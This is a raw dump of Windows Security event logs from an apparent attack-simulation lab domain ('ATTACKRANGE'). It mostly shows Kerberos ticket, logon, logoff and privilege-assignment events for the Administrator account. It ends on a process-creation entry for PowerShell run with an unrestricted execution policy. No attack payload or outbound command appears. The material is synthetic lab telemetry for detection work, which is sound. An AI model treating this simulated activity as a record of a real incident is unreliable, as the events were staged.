ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253104 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253103 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253102 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19354E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253101 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1918D5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253100 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191B4A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253099 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19354E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253098 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19354E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253097 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253096 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253095 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253094 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193532 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253093 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193532 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253092 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193532 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253091 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253090 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253089 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253088 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1934CE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253087 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193157 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253086 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x191D1E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253085 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1934CE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253084 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1934CE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253083 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253082 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A7D357D9-3948-EC2D-AF65-CC7CD414C573} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253081 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253170 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FE1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253169 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x196FE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253168 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253167 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {DC8BD9CB-9E67-1C6B-D803-22324392E8C0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253166 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253165 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1958D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19546B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted 